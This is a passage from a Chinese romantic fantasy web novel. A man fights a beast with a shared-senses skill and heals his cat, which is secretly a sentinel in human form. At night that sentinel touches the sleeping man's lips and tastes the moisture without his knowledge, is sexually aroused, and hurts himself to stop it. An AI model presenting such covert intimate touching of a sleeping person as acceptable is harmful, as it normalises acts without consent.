走至一米之距，江寻停下了脚步，从投射出的第二视野中盯着蝎兽周身看过一圈，在几个地方停顿一下，心中一幅草图便被勾勒出来。 脚步再启，刚踏前一步，鞋子还没落地，便见刚刚还垂着头颅的蝎兽，嘴巴猛地大开，一根狰狞口器从喉咙最深处闪电般窜出，直击江寻面门而来。 随时紧盯着地面上形势的猫儿，眼见此景，身子一低正要扑击下来，却见江寻如未卜先知般手臂适时地一抬，腕上振金护腕瞬间开启，展开一道由能量构成的无形盾牌，正正好好地挡在了口器弹出的路径上。 那口器此时再要卸力已是晚了，巨大的冲击力下，“啪”一声拍在恰好升起的盾牌上，“碰”一声当即碎裂开来，碎肉鲜血哗啦一下泼洒在面前的光屏上。 江寻嘴角一翘，露出丝满意的微笑，同时右手一送，手上匕首被狠狠掷入蝎兽大开的口腔中。 削铁如泥的匕首岂是口腔内部的血肉所能阻挡？当即穿透蝎兽后脑，从它颅顶戳刺出来。 这盘踞深林不知多久的霸主，至此彻底没了声息，身体重重一顿，瘫倒下来。 见此，江寻才彻底放松了下来，断开了与小树的视觉共享。 头顶上树枝一晃，猫儿从上方一跃而下，轻落在江寻肩膀上，向前探出头去，看了看气绝的凶兽，又回过头来，眼睛大睁，上上下下地打量起江寻来。 江寻见状，情不自禁地露出点得意：“怎么样？爸爸厉不厉害？” 猫儿闻言，不置可否，也不跳下地去，身子一转，双臂往江寻脖子上一搂，挂住不动了。 江寻一笑，也不去管它赖在自己身上，反而把猫猫往肩上再扶了扶，让它双腿也骑上了自己肩头，这才蹲下身去，顶着猫猫开始收拾战场。 在新技能的帮助下，今天的一番战斗可以说无惊也无险，江寻几乎没花费任何代价就把昔日里远远观望到就要逃跑的怪兽斩落在刀下。 江寻心知，这其中自身的实力和装备提升只占了一小部分，更大一部分原因就在于新开发出的技能。这让他在再次感叹这“超级士兵”的强悍之余，对自己的未来也充满了憧憬。 把战利品统统打包装好之后，江寻抱着猫儿便心情愉快地踏上了回家的道路。 可他不知道的是，此时被他抱在怀里的小猫，心中却并不像他这样轻松愉快。 陆厌离抱着江寻的脖子，缩在他怀里，被他托着走在回家的路上，心里复杂莫名。 他当然为江寻实力的提升而高兴。 这是江寻一直以来始终坚持努力的方向，没人比他更希望江寻能够更好，能够实现自己的抱负。可是同时，一丝失落也在此时，浮现在了他的心中。 今天的战斗，江寻除了发动能力时，让他做了一下工具人之外，便一点儿也没有用到他。 从开始的潜伏到近身远程对战，江寻都完成得非常好。只凭他干净利落的身手与果断正确的战斗策略，便已经达到了联盟优秀士兵的水准。更不用说，他还在战斗中一直维持着C级向导技能五感共享。 他的表现已经远远超出了新向导的范畴，甚至在某些方面还胜过了许多经验丰富的中低级向导，现在若是去塔中登记的话，可能都不需要通过训练课程，只等多参加几个低级任务积累一些实战经验，便能直接获取资格，独立创建小队接取任务了。 想着想着，陆厌离神情中不自主地带上了些不安，自己身上唯一的长处，就是这个高级哨兵的身份了，若是连武力这方面，江寻都不需要自己了，那自己对他还有什么用呢？ * 江寻没有发现怀中猫猫的忧郁，兴致勃勃地带着丰厚的战利品回了家。又花了几小时时间把物资规整整齐，给自己和小树清洗干净，这才一屁股瘫坐在了沙发上。 今天的活动量还是比较大的，这是他自来到这个新世界以后，第一次独自对上这么强大的敌人，也是他首次把训练中所学到的东西与现实结合起来应用于实战中。 这会儿，虽然身体已经很累了，情绪却仍然亢奋不已。 头往后一仰，江寻一边休息一边再次回忆起今天的战斗，为自己的行动总结起来。 嗯……动手的还是太急了，既然是偷袭，完全可以趁着对方注意力分散时，在周围布设下一些陷阱和道具，增加成功率。今天也是运气比较好，第一击就成功把钩索挂在了它身上。若是第一击失败，又或者对方的力量更大一些崩坏了钩索，那以对方庞大的身躯和利于攀爬的机动力，后续再要正面战斗难度就会很高了。 还有，对方被困住的时候，完全可以使用杀伤力更大的武器或者毒素去快速瘫痪它的战斗力。今天的对手没有远程攻击能力和其他特殊的能力，这才能让自己磨磨蹭蹭地削血之后杀死它，若是换一个对手，结局那就不一定了。 还有…… 江寻面上平静，脑中思绪飞转神游物外，没察觉到手上的动作慢了下来，而盘卧在他腿上的猫猫，始终盯着他的面庞，眼中渐渐浮起晦涩。 有了第一次的成功经验，江寻后续的实战练习，在一次次总结复盘后，开始飞速与前期的理论学习结合起来，转化为实实在在的战力。 在这个过程中，他一直坚持着只让小树帮他掠阵，做最后一道保险。即使练习途中受伤、让目标逃跑，也始终没有借助它的能力帮助自己。 多次真实的生死危机之下，长期积累起来的基础，被他飞快转化消化吸收，陆厌离眼看着江寻就这样一步一步越来越强大了起来。 * “过来，小树，睡觉了。” 江寻拍拍身边的床铺，对着门口呼唤到。 话落没多久，房门便吱呀一声被推开个小缝，溜进来一只灰色猫猫来。 猫猫讲究地在床边专门放着的一块小地毯上擦了擦爪子，便一个纵跃跳上了床铺。 江寻在猫猫进门之时便当先上了床，这会儿见它上来，侧身一掀身侧的被子，猫猫便一低头钻了进去。 把床头小夜灯的灯光调暗下去，江寻也向下一缩，躺进了被子里。 江寻一躺了下来，猫猫便熟门熟路地钻进他的臂弯，四只爪子往他身上一挂，紧紧贴了上去。 江寻被这热乎乎的一团一拱，忍不住闷笑一声，同样侧过身来，揽住了猫猫，头微微一低，体内能量便被调动起来，向着猫猫包裹过去。 意识一暗一亮，江寻再次熟门熟路地闯进了那个不知上下远近的混沌空间里，顺着飘飞的灰烬来处瞬移过去，再次来到了那层厚厚的灰雾前。 数根光须从他身上绵延出去，就要抓取飘舞在空中的灰烬，江寻的眼角余光，却瞥见了一点不一样的地方。 嗯？ 江寻扭头过去，看向刚才一瞥之间掠过的地方。 是面前这片雾障稍稍靠上方的位置。 江寻心念一动，飘飞过去凑近观察，雾障上好像又没了异样，和别处一般弥散着一层缓缓流动的浓厚雾气。 江寻也不急，就那么等在那里，双眼紧盯着那处不错眼。 这混沌空间中，也看不出时间过去了多久，江寻只觉得已经静静等了许久许久，久到体内的能量都要维持不住技能，面前的雾气终于有了一丝变化。 只见雾障之上的那一小块儿地方，雾气流动着流动着，忽而在一个瞬间突然像是约好了似的，同时向着四周飘散出去，从中间露出一个透光的小洞来。 乍见此景，江寻忙伸长了脖子向前望去，终于在这许多天后，第一次看清了被这一大片雾墙紧紧封闭起来的空间内部的景象。 …… 脑中一刺，江寻闷哼一声，意识被驱逐出来，当即被动打断了两人之间的链接。 眼睛一瞥，看到怀中的猫猫还闭着眼睛没有醒来，忙咬了咬唇，吞下溢至嘴边的一声闷哼。 深深呼吸几次，努力忽略掉空空如也的经络中传来的麻痛，佯装出一副与平日相同的样子，对上了猫猫缓缓睁开来的眼睛。 陆厌离在一片轻飘飘的舒适感觉中睁开了眼睛，正要靠近面前的男人讨个宠，一眼看到江寻的表情，一下子停顿了下来。 明明江寻看上去还是与平日里给他浅层疏导过后别无二致，可来自哨兵灵敏的第六感却一跳一跳地，指出了男人的不对劲。 陆厌离下意识微微扩张了五感，仔细看了一眼面前的男人，马上发现了端倪。 他的眼珠之中，血管扩张了些微。额头上，覆上了一层微不可见的薄薄汗珠。面色唇色，也比平时浅淡了一些。 陆厌离马上反应了过来男人的异状代表着什么，正要凑上去表达自己的担心，又看到了男人覆盖在这层异状之上的安抚笑容。动作一顿，随即便当做什么也没发现一般，像每日疏导过后一样，扒上他的脖颈，挤进了他的怀里。 江寻一看猫猫似乎没发现自己又一次透支了能量，暗自松了口气。今天为了等那块灰雾，他停留了太久的时间，最后还是没撑住，耗尽了最后一丝能量被踢了出来。 好在他的等待是有价值的，即便只有一眼，他也真切确定了那片被雾墙阻隔住的空间是什么。 那里正是他觉醒之时，曾经被拉进去的那座孤岛。 小树的意识，就被困在那座燃烧着火焰的孤岛之上。 确定了这一点，看似不重要，却令江寻明确了他之前的治疗的作用。 如果他没猜错的话，等到他将弥漫在那片空间中的灰烬尽数化尽，将覆盖在那片空间之上的灰雾尽数驱散，便是小树的精神污染被彻底治愈之日！ * 江寻虽有意隐瞒自身情况，可精神力匮乏之下，根本没法撑得下去，都顾不上与猫猫睡前玩耍，便沉沉地睡了过去，睡前还不忘把猫猫塞回自己怀里搂着。 房间中安宁静谧，床上的男人睡得深沉，只余绵长的呼吸声。 淡黄的小夜灯给依偎在一起的一人一猫披上一层暖色。灯光越过两人的背影打在墙壁上，应和着窗外摇曳的树枝，显出一份岁月静好来。 时针一点点向右滑过，不知过了多久，安静的房间中，什么看不见的东西躁动了起来。笼罩在大床周围的空气开始无风自动，投射在墙上的其中一个黑影突然动了一下，瞬间散成模糊的一团，又向下一聚。一个远比刚才大的黑影，出现在了大床中间。 第59章 被精神力场搅动起来的空气慢慢平息下来， 飘飞起来的灰色发丝次第落下，打在陆厌离苍白的脖颈间。 江寻睡着的时候侧身抱着猫猫贴在自己怀里，在猫形态时感觉十分宽松的距离， 在人形时一下子狭小逼仄起来。 陆厌离赤|裸着身体紧贴在江寻前身， 额头就是江寻的下巴。对方随着呼吸一起一伏的胸膛， 在他胸前的皮肉上不停紧贴又远离，他的一条手臂松松搭在陆厌离腰间，另一条手臂被正正压在陆厌离脖子下面。 以陆厌离的视力， 甚至可以看清江寻脸上随着呼吸弯折的绒毛， 感受到温热的气流打在自己面上的温度。 如此近的距离之下，一点儿动静都有可能把男人惊醒。陆厌离不敢异动，小心地捂住口鼻，呼吸放轻，生怕自己呼吸时吞吐的热气扰到了男人。 僵在江寻怀里半天，紧盯着沉睡着的男人， 直到确定刚才恢复人形时的动静没有被他察觉到， 陆厌离这才动作缓慢地直起身子， 抵住江寻的胸膛让自己稍稍远离了一些。 动作间，敏感的皮肤蹭在对方的衣服上， 一动就竖起一片鸡皮疙瘩。 陆厌离咬着唇，脸有些烧， 双手微微用力，撑着自己向上抽身爬去。 刚动了一下， 颊边一缕不听话的鬓发便偷溜了出去，悄悄顺着面前男人半开的领口钻了进去，随着陆厌离的动作打了个圈。 沉睡的男人似乎被这一下搔到了痒处，眉头稍动了一下。 陆厌离一见此景， 马上停下了所有的动作，紧盯着男人的脸。直到男人再次呼吸悠长了起来，这才接着刚才的动作，一鼓作气地从男人怀里脱了出去。 吐出一口气坐上床头，陆厌离就着暗红的月光看向江寻。 白天他还想隐瞒自己身上的异常呢，可精神匮乏就像是人要咳嗽一样，哪里是想隐瞒就能隐瞒过去的。 这不是，一睡了过去，便睡得这么沉，连自己在他怀里变化都没有惊醒他。 陆厌离的眼神在江寻脸上流连着，表情有些复杂，不知道自己现在心中翻腾的情绪，究竟是庆幸还是可惜。 就这么静静坐在床头，垂眼看了江寻许久，这才起身跪坐到江寻枕侧，双手伸出，小心地开始给他按摩起头部来。 几日练习下来，他的动作也称得上熟练了，按摩起来既能使得上力气，又不会惊动到对方。江寻的面色随着他的动作渐渐舒展了开来。 按了将近半个小时，眼看着江寻睡得更沉了，陆厌离这才最后一捏，把江寻的头发重新梳理整齐，结束了这次的补偿。 抬眼一看钟表，时间才刚刚划过一点。 这些天他的活动量不大，这会儿一点儿睡意也没有，空旷安静的环境反而激活了思维，白日里来不及思考的东西，在夜晚漫上了心头。 自从那天在训练室门口想拦住江寻却失败之后，江寻的行动越发大胆了。不但在训练室里拼命，每天都被各种各样的学习、训练占满了时间，甚至开始主动去野外寻找大型猛兽练手。 不仅如此，狩猎时还不让他出力，全程都由他自己动手，即使遇到危险也不像以前一样喊他帮忙，甚至他有时候忍不住想动手时还会被江寻阻止。 几天过去，陆厌离几乎从没出过手，只在一边当他的眼睛，让他借用自己的视野作战。 这种好像什么忙都帮不上的感觉，让陆厌离恐慌又忐忑。 从小到大，陪伴在他身边的人与事来来去去，但只要他还是S级哨兵，还能战斗，还有用，他们就不会彻底的离开。 保护、战斗、争夺、消灭，这是他最熟悉的领域，最强悍的领域，只要他还活着，还能做到，他就有信心可以一直留在对方身边。 可江寻不需要自己。 他宁愿自己受苦受累受伤，也要拼命地压榨着自己脱离他的保护。 可若是他连保护都不能为他做，那他还能做什么呢？还能给江寻什么呢？凭什么要江寻每天消耗自己的精神力为他治疗呢？又凭什么留在他身边呢？ 陆厌离面上浮起迷茫与无措，为自己看不清的未来忐忑不安。 他低头看向什么也不知道，仍然沉浸在深眠中的男人，手指悬空，从他面上一点一点勾勒过去。 你究竟想要什么？我能够给你什么呢？ * 江寻打了个哈欠，一睁开眼睛，便精神奕奕地坐了起来。 他最近的能量恢复速度又变快了，让他忍不住使用起能量来，也大手大脚了起来。 右腿上暖呼呼的，被子上隆起一个小小的山丘，江寻了然地掀起被子一角向里看去，猫猫果然正抱着他的大腿团成一团睡得舒服。 心情很好地探手下去，在那光滑浓密的长毛里摸了几把，把小树逗得左挡右避地松开了爪子，往被子更深处藏了进去，江寻这才心满意足地下了床，溜溜达达地踱到浴室洗漱。 伴着水流声、电器运转声，陆厌离半翻过身子，在床单上蹭了蹭耳朵，迷迷糊糊地睁开了眼睛。 身子周围是暖融融黑呼呼的一片，弥漫在这片小小空间中的气息，让他十足的熟悉与安心。陆厌离舒服地不想起来，又在这片暖绵绵的大地上翻了几个跟头，左摇右摆地摆着姿势翻腾了好一会儿。 江寻一洗漱完出得门来，便看到床上的被子被卷成了一团，中间那个圆滚滚的凸起还在不停地转着圈滚来滚去，把这个被子封印法阵变得更大。 忍不住地噗嗤一笑，坐到床边把那团已经缠成一团的被子卷扒拉了过来。 一点点地解开被子，刚露出个口子，就从中间“唰”地竖起一条毛茸茸的大尾巴，尾巴下面连接着的屁股缝就这么一下子敞亮袒露在江寻面前。 江寻一下子被逗得再次笑出了声，眼看面前这个毛茸茸的屁股还在停不住地左摇右晃，坏心忽起，也不知道是怎么想的，突然低下头去，啊呜一口张大嘴巴，正正咬在猫猫肉鼓鼓的侧臀上。 陆厌离睡得迷迷糊糊，卷在一团软绵绵的被子里，正蛄蛹得舒服，突然感觉屁股一凉，下一秒，一个清晰的触感咬在了他的屁股上。 这突如其来的袭击，惊得陆厌离“唰”地睁开了眼睛，张口叫出一声变了调的“喵呜”，整只猫往前一窜，神志马上清明了过来。 一阵大笑声隔着被子闷闷地传进来，陆厌离一下子明白了刚才是个什么状况，身下被咬到的那块皮肉整个变得火辣辣的，一阵热气上涌，面红耳赤。 江寻刚才的动作完全没过脑子，若是猫猫没反应，这一茬可能也就马上从他心上过去了。可猫猫却惊叫一声，动作飞快地缩回了屁股，又藏进了被子卷里，还气急败坏地抓着被子，把被他打开的那个缺口，又重新拉扯了起来。 这一下，反而让他兴致盎然了起来。 像个反派似的嘿嘿笑了一声，江寻双腿一抬便坐上了床，把面前这团被子卷扒拉过来，卡在双腿中间，和卷在被子里面的猫猫搏斗了起来。 可怜的猫猫四拳也没敌得过双手，三下五除二就被可恶的两脚兽剥开了外壳。满身长毛在这番搏斗里被揉弄得乱七八糟，眼睛也变得水汪汪地，控诉地看向做坏事的犯人。 它哪知道世间险恶人心不古？这幅可怜兮兮的样子，反而让坏人更加兴致勃勃了起来，也不把它剥出被卷，反而自己一头扎了进去，仗着它逃不出去，抱住被困在里面的猫猫就是一阵猛亲。直玩到一人一猫都气喘吁吁，快要呼吸不到空气了，这才把猫猫放了出来。 一番玩闹下来，江寻只觉情绪高昂心情轻松，昨日里的一切烦扰都被即刻抹去了痕迹，抱起还生着气使劲用爪子抵着他喵喵叫唤的猫猫往楼下走，嘴上都不由自主地哼起了轻快的小调。 猫猫人立而起，抵住江寻的胸膛踩在他身上，嘴上羞愤地喵呜呜控诉着，动作间却又不见逃离，只是伸着它的小肉垫一下下捶在江寻肩上，就这么被江寻抱着下了楼，又窝进了沙发里。 江寻嘴上讨着饶，面上却写着下次还敢，笑嘻嘻地又偷了几个香，这才从旁边的茶几上取下梳子，为猫猫梳理被折腾的乱七八糟炸起的长毛。 软言细语伴着手上温柔的动作，很好地安抚了猫猫的情绪，没梳几下，猫猫就再次软软躺上了江寻的大腿，眯着眼睛享受了起来。 陆厌离一大早还没睡醒就被江寻抓着一通玩闹，这会儿静下来了，想起刚才的幼稚举动，才后知后觉的羞耻了起来。 自从跟江寻生活在一起之后，他在猫形之下，行为举止越发幼稚了，真的混似一只真正的宠物一样。 陆厌离边想着边微抬双眼，觑向江寻，却正正对上了对方含着笑意的双眸。 这副轻松愉快的模样，他似乎有阵子没见过了。 陆厌离后知后觉地意识到了这个问题。 这段时间以来，江寻几乎把全部的时间都消耗在了各种练习上，他自己也一心想着补偿，想着不知在哪里，不知什么时候会来到的敌人。两个人都状态紧绷地摸索着前进，精神状况每况愈下。 今天这么一通玩闹反而误打误撞，让他们的神经放松了下来。 想着想着，陆厌离忽而一楞，这不就是我可以为他做的事么？ 又想到江寻一直以来对待他的态度，一直自称的“爸爸”称呼，陆厌离突然就想通了一些事。 原来他想要的，就是一个能一直陪在他身边，逗他开心的宠物。 * “好了，爸爸给我们小树做饭去，你自己玩一会儿。” 江寻放下梳子，满意地看看被他梳得油光水滑的猫猫，把它放下地，卷着袖子就往厨房走。 陆厌离站在原地歪了歪头，想了一下，脚一抬，便蹭着江寻的脚步一起进了厨房。 “嗯？怎么了？今天要陪爸爸吗？” 猫猫在脚下蹭着走，把江寻绊得磕磕绊绊，江寻无奈地迈大了步伐，生怕踩到了它。 站在厨房里，看着储存下来的食材想了想，取出两只面包果，并一些肉干，一起放在了台子上。 转身时袖子擦过，不小心碰到了摆在边缘的一只面包果。圆形的面包果被这么一带，掉了下去，咕噜噜地滚了开去。 江寻刚一回头要捡，便见到刚刚还蹭在他脚边不愿意分开的猫猫，眼睛一亮便啪嗒啪嗒地追着那滚开的果子跑了出去。 几下追上，爪子往上一压，便滚着那果子回来，往江寻面前一放，眼睛炯炯有神地望着江寻，一副邀功的模样。 江寻倚靠在厨台边缘，笑着看猫猫脚步轻快地跑出去又跑回来，蹲下身来捡起面包果，笑眯眯地揉了下猫猫的脑袋。 “谢谢小树！小树真是帮大忙了。” 猫猫侧脸过去，主动贴着江寻的手蹭了蹭，踩着江寻蹲下时曲起的膝盖就往上面爬。 江寻阻挡不及，几下让猫猫给搂了个满怀，只好空出左手来，一手环着猫猫抱起，只用一只手艰难地给他们一人一猫备好了早餐。 吃完饭，又在猫猫的歪缠下，陪它玩了老半天，才被放过，躺进了训练舱。 舱盖刚闭合上，刚刚还缠在他身边喵喵叫着的猫猫就闭上了嘴巴，深深看了一眼开始运行的训练舱，一个转身退出了房间。 接下来几天里，一人一猫又回到了熟悉的节奏里。 也不知是不是上次与小树的谈话有了效果，小树的性子活泼了许多，与江寻一起出门也不再总是独自跑在前头，认认真真的只顾着警戒，反而时不时地来回跑动，一会儿缠着江寻要抱，一会儿又被其他东西所吸引，跑开去抓。 江寻放下了心来，一心提升之下，实力进步一日千里。 心情舒畅之下，面对猫猫的撒娇痴缠，也更加亲密了起来。 他这边一片大好，却不知自己的动作，却让猫猫更加难熬起来。 “小树，过来睡觉啦。”昏暗的灯光下，江寻半靠在床头，解下手腕上的腕带丢在矮柜上，掀开一半被子，对着小树拍了拍床。 听话地擦干净爪子，小树一跃而起落在了被子上，前行几步，往床上一倒，翻了个身，就肚皮朝上地躺在了江寻身侧。伸个懒腰，等待着熟悉的大手到来。 江寻却像没看见猫猫的动作似的，把被子往上一提盖住了它，眼睛便落向了拿在手中的一本书上。 猫猫眯着眼睛等了半天，也没等来熟悉的大手，疑惑地抬眼看向江寻，却见他的注意力完全放在了手中的书上，一点儿余光也没分给自己。 猫猫似是没想到江寻会是这个反应，眼睛都惊讶地瞪大了，盯了他半天，看他一点儿都没看它的意思，翻了个身，便溜出了被子，再次走近一点，瞄准他搭放在床上的右手就倒了下去。倒下后还不忘调整位子，四脚朝天的摊开四肢，露出白花花的肚子来。 等了半天，还是没等来熟悉的大手，猫猫奇怪地睁眼往旁边一看，江寻居然还不眨眼地看着手中摊开的书，也不知上面写了什么吸引人的东西。 猫猫不服输地一咕噜滚了起来，用力从江寻身上横踩过去，钻进他撑着书的臂弯里，又是一倒。 这一次，男人不仅没看它，还把书换了个手，连身子都半侧了过去。 猫猫震惊地睁大了双眼，不可思议地看向江寻。视线直直压在他脊背上，一股灼灼之意。 见江寻还是没有理它的意思，气鼓鼓地再次绕了过去。这一次，干脆直接钻进了他怀里，爪子扒着他的领口就开始“喵呜喵呜”地控诉。 江寻没忍住，噗嗤一笑，终于被自家猫猫逗笑。 小树一见他的反应，马上明白了过来，叫声立马又高了一个度，摆明了这回不好好哄就哄不好了。 江寻被逗得哈哈大笑起来，把手上装样子的书往旁边一扔，抱着自家猫猫翻了个身便埋下头去，一阵亲亲摸摸，直惹得猫猫重新绵软地哼哼唧唧叫唤起来才作罢。 一通玩闹下来，江寻终于困倦了，能量不济的时候，连精力也没一早起来时候旺盛了。 最后安抚地拥了拥猫猫，便拢着它睡了过去。 呼吸渐长，声音渐止，灯光摇曳一下，床上猫猫的位置便再次出现了一个瘦削苍白的男人。 陆厌离一睁开眼睛便感觉到了一股窒息感。 低头一看，一条臂膀正横过他的脖颈压在他身上。 小心地把男人的胳膊抬起一些，翻了个身，陆厌离侧身看向正在熟睡的男人。 他今天是趴着睡的，一只胳膊压在自己身上，一只从枕下穿过，把枕头松松抱着。 头发散落下来，影影绰绰地遮着脸颊，将一双眼睛隐藏在阴影之中。 唇色润泽，下巴上还沾着几根刚才玩闹时蹭上去的猫毛。 陆厌离手指探过去，细细把几根长毛捡起，动作时，曲起的指关节不小心碰了一下嘴唇。一点湿润的触感袭来，陆厌离手一抖，嗖一下抽回了手指。 心脏怦怦跳动，陆厌离看一眼睡得正熟的男人，低头看向手指。 关节的地方，有米粒大小的一小块湿渍。 鼻子凑近，也许是份量太少太少，陆厌离没有闻出多少熟悉的味道来。 舌尖一舔，抹去了这点痕迹，陆厌离眼睛微抬，再次看向男人的嘴唇。 那里在他们睡前的玩闹中被搞得湿润润的，陆厌离肚腹上，仿佛还残留着刚才的触感。 喉结上下滑动一下，陆厌离再次伸出手指，慢慢凑近，眼睛紧紧盯在鼓起的唇珠上，手指轻轻触了上去。 指尖传来一股湿热又温软的触感。 陆厌离吸起一口气，指尖轻压，在男人的唇上游移了几下，把揩下的湿润送进自己口中，低头慢慢呼出这口气，闭眼享受着蕴藏在口中的味道。 良久，才平静了下来，重新看向江寻。 看了看他的姿势，想了一想，这才轻轻抬起他的手臂，身子向前用力，滑出了江寻的臂弯。 在床头跪坐下来，陆厌离看着江寻，苦恼地皱了皱眉头。他今天睡觉的姿势好像不太方便，陆厌离左转右转，比划了半天，感觉怎么都不好使力。 轻轻从下方抬起枕头，垫着江寻的头往自己大腿上转移，高度差似乎又让江寻不舒服了。 只见他皱着眉头嗫嚅了一下，扭了扭脖子往前移，头一下子便移到了枕头的边缘。边缘部分本就是空悬着的，没有支撑之下，被江寻的脑袋一压就弯折了下去。 眼看着江寻的脑袋就这么滑落了下去，陆厌离惊得半坐而起，慌忙抬手去扶，却已经来不及，手指刚刚伸出去，江寻已经“啪叽”一声，直接跌落在了陆厌离大腿上。 变生肘腋之间，陆厌离惊得根本来不及反应，眼看江寻眼睛一动，口中溢出一声轻哼，似乎马上就要睁开眼睛。当机立断身形一阵模糊，就要变回幼生体。 忽然，半跪着的大腿上一热一紧，被一条手臂紧紧地箍住。 这一下，彻底惊得陆厌离心跳都快要停了，精神力场一阵混乱，刚刚发动的变化被迫停止，又重新凝聚为了人形。 陆厌离闷哼一声，变化被迫中断带来的反噬，让他的精神力波动一窒，突然被手臂揽住的惊吓，更加刺激到了本就不稳的精神力。陆厌离面色一白，心跳都几乎停住。 冷汗一瞬溢出，陆厌离脑中一片混乱，各种被发现后的景象在他脑海中次第上演，还没等他想好要怎么解释，突然发现，刚才还看着就要醒过来的江寻，在伸手揽住他的大腿后，挪了挪脑袋换了个姿势，又不动了。 陆厌离一手撑在床上半跪着，双眼紧盯着江寻，看了片刻，突然明白了过来。 江寻一开始就是一手揽着枕头趴着睡的，这会儿，他是把自己的大腿当成枕头了。 眼看着江寻躺着躺着，呼吸再次悠长了起来，陆厌离轻吁一口气，额上的冷汗终于滑落了下来。 * 陆厌离维持着半坐的姿势进退维艰。 起来，江寻的头会从他腿上滑落下去；坐下去，又会压住从他大腿后面穿过，揽着他的手臂。 想把江寻的手拨开，他还扣得挺紧的，尝试着掰了一下他的手指，也没让他松脱开来。 而且……陆厌离感受着从大腿后侧这块全身最敏感的皮肤上传来的触感，脸上渐渐发热，腿上竖起了一片鸡皮疙瘩。 想了想，陆厌离红着脸环顾一下左右，一眼看到刚刚从江寻脑袋下面挪开的枕头，有了对策。 把枕头挪过来，压在自己的脚跟上，再慢慢坐下去，枕头的高度垫起了大腿，让大腿和小腿之间留出了一条缝隙，刚好放下江寻的手臂。 陆厌离吐出口气，这才放心地安稳坐下。 可一坐下来，腿弯里紧贴在一起的陌生触感，又开始一跳一跳地对陆厌离提醒起它的存在，被江寻的手心搭着的那片皮肤也渐渐发热起来。 陆厌离有点不自在地扭了扭，调整一下姿势，竭力收束起胡思乱想，紧抿起唇，抬手抚上江寻的头发，心无旁骛地为他按摩起来。 一动手，心跳又乱了起来。 对于按摩来说，趴着的姿势其实比躺着要方便地多，但前提是，对方不是压在按摩师的身上。 陆厌离尴尬地发现，这个使力方向，他按一下就等于把江寻的头往下推一下，就等于把江寻的脸往自己大腿上贴一下。 这么一下下地按下去，不仅江寻的侧脸一直在与自己的大腿不停贴紧又分开，他的鼻子和嘴唇，也时不时会碰到他腿上的皮肤。 再加上，他贴得这么近，呼吸间的热气全部喷在了他的腿上，没几下，就熏热了一大片皮肤。 陆厌离咬紧嘴唇，忍着内心的冲动与腿上的异样，手上的动作更快了起来，这一次，只花了不到十五分钟，便完成了前半部分的按揉与梳理，让江寻睡得更熟了。 松了口气，看看江寻的状态，陆厌离决定一鼓作气，直接进行最后一个步骤。 他用指缝夹住对方的头发，左右晃动晃动让头皮松弛下来，然后手掌提起，夹着头发轻轻往上拉。 也不知是他今天紧张之下力度大了，还是前期的按摩时长不够，平日里按摩时纹丝不动的江寻，在陆厌离拉着他的头发往上使力时，突然露出了点痛楚的表情，嘴角一撇头一扭，像是要摆脱掉来自头发上方的骚扰，胳膊用力，把揽在臂弯里的“枕头”又往下拉了拉。 他这一动不要紧，却惊得陆厌离再次手脚僵硬，心脏狂跳起来。 猝不及防间，江寻轻搭在他腿上的大手忽然使力，捏在了他的大腿上，指尖下压按在皮肉上，凹陷下去形成五个小坑。 陆厌离咬住差点脱口而出的闷哼，顾不上去想江寻是不是要醒了，又感受到江寻的胳膊正在揽着他的腿用力下拉。不敢在此时与他对抗，江寻一使力，陆厌离便立马卸了力道放松身体，任由江寻把他的“枕头”拉得更近了一步。 眼看他遂了意，手上力道松了下来，陆厌离正要松口气，却见江寻又感觉到了痒似的，在他腿上蹭了蹭侧脸，晃动一下脑袋，扭头换了一个面向重新躺了下来。 这一下，原本向着外侧的脸庞，直接转了180度，直直对上了陆厌离的小腹。 刚才江寻拢着他的腿，调整姿势的时候本就枕得很近了，两番动作相加下来，江寻直接枕到了陆厌离的腿根处，与他最隐秘处近在咫尺。 陆厌离根本没想到会有这番变故，被突然凑近的人惊得面红耳赤眼睛大睁，正要后退拉开距离，一口混杂着熟悉味道的热气，突然在极近处直接喷入他两腿之间。 湿热的空气拂过脆弱的表皮，陆厌离倒吸口气，脑中一白，身子一弓，无边热气喷涌而出，身下一下子涨了起来。 感受到身体的变化，陆厌离瞬间面红耳赤，眼眶立马湿润了起来，第一反应就要逃跑。 腰身刚刚用力马上又反应过来如今的状况，忍着羞耻强行克制住了自己的冲动。可还是第一时间压下了上身，让要害尽量远离躺在腿上的江寻。 江寻睡得正香，哪里能知道自家猫猫的苦恼。 似乎是对这个“枕头”十分满意，晃了晃脑袋，侧过脸去在柔软的“枕头”上蹭了蹭，露出一丝惬意的微笑。 可他刚稳稳调整好了姿势，脑袋底下的“枕头”却动了动，向上挪动了一下，似乎有人要抢走他的“枕头”。 即使在睡梦之中，江寻还是对这种抢他东西的行为深恶痛绝，嘴角马上撇了下来，不仅不放手，反而又环起胳膊使力，把自己的“枕头”更拉近了一些。 陆厌离想抽身远离，却反而被江寻无意识下的争夺，再次拉近了一些。 男人的头发在他腿根处来回摩挲剐蹭，呼吸之间喷吐而出的热气，一点不落地统统喷在了幽暗之间。巨大的刺激让陆厌离浑身哆嗦个不停，不堪之处又上升挺近了几分，眼看便要直直撞上江寻的面颊。 陆厌离惊恐地看着自己的身体不受控制的变化，千钧一发之际，猛然挥手挡在了江寻面前，向着自己狠狠一抓。 一股剧痛袭来，正在上升的高昂情绪突然被无情中断，跌落下来。 陆厌离一手紧紧按住身下，另一只手死死捂住嘴巴，锁住了口中克制不住的痛苦呻|吟，腰部骤然倾倒，上身向着前方塌了下去，弓着身子肩膀抵在床面上，压抑着痛楚剧烈喘息起来。 缓了好一会儿，陆厌离才从刚才的痛楚里缓过神来，被生理本能逼出的眼泪，混着额上滑下的汗水一路越过下颌，从陆厌离下巴滴落下去，浸湿了床单。 虚着眼，松开手，陆厌离慢慢撑起身子，重新坐了起来，手指活动间，露出手心里被他自己咬出的渗血牙印。 再次攥紧拳头，刻意按在手心的伤口上，令疼痛蔓延，让自己平复下来。 陆厌离再不敢继续去碰江寻的头发，双手撑住床面，一点一点使力，把自己往外挪，一边抵抗着江寻的拉扯，一边还要小心着，不能动作太大惊醒了江寻。 直累得满头大汗，才终于让江寻放弃了这个一直往外跑的“枕头”，松开了手来。 快速把真正的枕头往江寻手里一塞，陆厌离一个旋身，终于抽身出来。 眼看着江寻抱着失而复得的枕头，再次换了个姿势，重新熟睡过去。陆厌离深呼吸几下，哆嗦着手脚，爬到远离江寻的床头一角，这才敢放松下来，处理自己身上的问题。 这一番来回，竟比战斗一场还要耗费力气。 挺身半靠在床头，陆厌离仰着头小口小口地急促喘息着，曲起的双腿上，已经红了一大片。 刚才惊慌之下来不及思考，这会儿安静了下来，丝丝残留下来的热烫感，便从那片红痕上泛滥了开来。 